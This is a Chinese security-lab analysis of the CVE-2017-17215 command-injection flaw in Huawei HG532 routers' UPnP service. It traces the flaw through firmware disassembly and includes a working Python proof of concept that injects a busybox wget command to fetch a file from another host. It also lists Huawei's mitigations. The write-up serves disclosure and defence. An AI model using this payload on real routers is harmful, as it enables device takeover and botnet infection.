Huawei HG532 系列路由器远程命令执行漏洞分析
作者:fenix@知道创宇404实验室
English version: https://paper.seebug.org/508/
背景
华为 HG532 系列路由器是一款为家庭和小型办公用户打造的高速无线路由器产品。
2017/11/27,Check Point 软件技术部门报告了一个华为 HG532 产品的远程命令执行漏洞(CVE-2017-17215)【1】 。
该漏洞在被报告前,互联网上产生了大量未被关注的此类漏洞攻击利用包,遍及全球多个国家。Payload 已被证实是知名病毒 Mirai 的升级版变种 OKIRU/SATORI。该 Payload 功能非常简单,主要通过发送精心制作的 UDP/TCP 报文来对目标发起 DDoS 攻击。
2017/11/23,知道创宇 404 实验室的 ZoomEye 网络探针系统也捕获到了该攻击的 Payload。
漏洞分析
固件下载
网上有 HG532e 版本的公开固件,下载地址【2】
下载该固件,利用 binwalk 直接解压。
目标系统是 MIPS 32 位 大端架构。
漏洞分析
根据 Check Point 的报告【1】,该远程命令执行漏洞的漏洞点位于 UPnP 服务中。
UPnP 是由“通用即插即用论坛”(UPnP™ Forum)推广的一套网络协议。该协议的目标是使家庭网络(数据共享、通信和娱乐)和公司网络中的各种设备能够相互无缝连接,并简化相关网络的实现。
直接将固件中负责 UPnP 服务的 upnp 程序扔到 IDA。
通过字符串 NewStatusURL
对漏洞点进行定位。
跟踪数据交叉引用
漏洞点如下
ATP_XML_GetChildNodeByName 函数的定义如下。
程序首先进行 SOAP XML 报文解析,得到元素 NewDownloadURL 和 NewStatusURL 的值。然后进行以下拼接,最终调用 system() 函数执行。
1 |
<ol class="linenums"><li class="L0"><code><span class="pln">snprintf</span><span class="pun">(</span><span class="pln">$s0</span><span class="pun">,</span><span class="pln"> </span><span class="lit">0x400</span><span class="pun">,</span><span class="pln"> </span><span class="str">'upg -g -U %s -t '</span><span class="lit">1</span><span class="pln"> </span><span class="typ">Firmware</span><span class="pln"> </span><span class="typ">Upgrade</span><span class="pln"> </span><span class="typ">Image</span><span class="str">' -c upnp -r %s -d -'</span><span class="pun">,</span><span class="pln"> </span><span class="typ">NewDownloadURL</span><span class="pun">,</span><span class="pln"> </span><span class="typ">NewStatusURL</span><span class="pun">)</span></code></li><li class="L1"><code></code></li><li class="L2"><code><span class="pln">system</span><span class="pun">(</span><span class="pln">$s0</span><span class="pun">)</span></code></li></ol> |
upg
是路由器的一个升级程序,他的参数功能如下。
现在我们有两个命令注入点,NewDownloadURL
和 NewStatusURL
。
漏洞验证
目标系统提供了以下命令。
利用 wget 命令进行漏洞测试。发送以下报文。
1 |
<ol class="linenums"><li class="L0"><code><span class="kwd">import</span><span class="pln"> requests</span></code></li><li class="L1"><code></code></li><li class="L2"><code><span class="pln">headers </span><span class="pun">=</span><span class="pln"> </span><span class="pun">{</span></code></li><li class="L3"><code><span class="pln"> </span><span class="str">"Authorization"</span><span class="pun">:</span><span class="pln"> </span><span class="str">"Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"</span></code></li><li class="L4"><code><span class="pun">}</span></code></li><li class="L5"><code></code></li><li class="L6"><code><span class="pln">data </span><span class="pun">=</span><span class="pln"> </span><span class="str">'''<?xml version="1.0" ?></span></code></li><li class="L7"><code><span class="str"> <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"></span></code></li><li class="L8"><code><span class="str"> <s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"></span></code></li><li class="L9"><code><span class="str"> <NewStatusURL>;/bin/busybox wget -g 192.168.1.2 -l /tmp/1 -r /1;</NewStatusURL></span></code></li><li class="L0"><code><span class="str"> <NewDownloadURL>HUAWEIUPNP</NewDownloadURL></span></code></li><li class="L1"><code><span class="str"> </u:Upgrade></span></code></li><li class="L2"><code><span class="str"> </s:Body></span></code></li><li class="L3"><code><span class="str"></s:Envelope></span></code></li><li class="L4"><code><span class="str">'''</span></code></li><li class="L5"><code><span class="pln">requests</span><span class="pun">.</span><span class="pln">post</span><span class="pun">(</span><span class="str">'http://192.168.1.1:37215/ctrlt/DeviceUpgrade_1'</span><span class="pun">,</span><span class="pln">headers</span><span class="pun">=</span><span class="pln">headers</span><span class="pun">,</span><span class="pln">data</span><span class="pun">=</span><span class="pln">data</span><span class="pun">)</span></code></li></ol> |
可以看到,我们成功在监听的端口上收到了请求。
值得一提的是,HG532e 路由器的 uPnP 服务和防火墙都是默认开启的,防火墙默认等级为低级。
在默认设置下,从 WAN 口访问 37215 端口会被防火墙拦截,漏洞无法被利用。
防护方案
2017/11/30,华为官方发布了安全公告【4】,确认了该漏洞。
公告中提到了以下漏洞缓解措施
- 配置路由器内置的防火墙
- 更改路由器默认密码
- 在路由器外部署防火墙
是的,没找到固件升级包,所以,没有补丁分析…
总结
- 和爱尔兰宽带路由器 SetNTPServers 命令注入【3】类似,这个漏洞整体来看就是一个简单的命令拼接。
- 该漏洞也为我们漏洞挖掘提供了一个很好的方向。snprintf()、system() 等函数附近的程序逻辑都应该被重点关注。
- 还是那句话,一切进入函数的变量都是有害的。大部分远程命令执行漏洞要么是过滤不全,导致命令拼接。要么是没有进行变量长度控制,造成缓冲区溢出。关于这点设备供应商应该负责任,安全开发意识非常重要。
参考链接
【1】 Check Point 漏洞报告
https://research.checkpoint.com/good-zero-day-skiddie/
【2】 HG532e 固件下载
https://ia601506.us.archive.org/22/items/RouterHG532e/router%20HG532e.rar
【3】 爱尔兰宽带路由器 SetNTPServers 命令注入
https://www.seebug.org/vuldb/ssvid-97024/https://www.seebug.org/vuldb/ssvid-97024
【4】 华为安全公告
http://www.huawei.com/en/psirt/security-notices/huawei-sn-20171130-01-hg532-en/http://www.huawei.com/en/psirt/security-notices/huawei-sn-20171130-01-hg532-en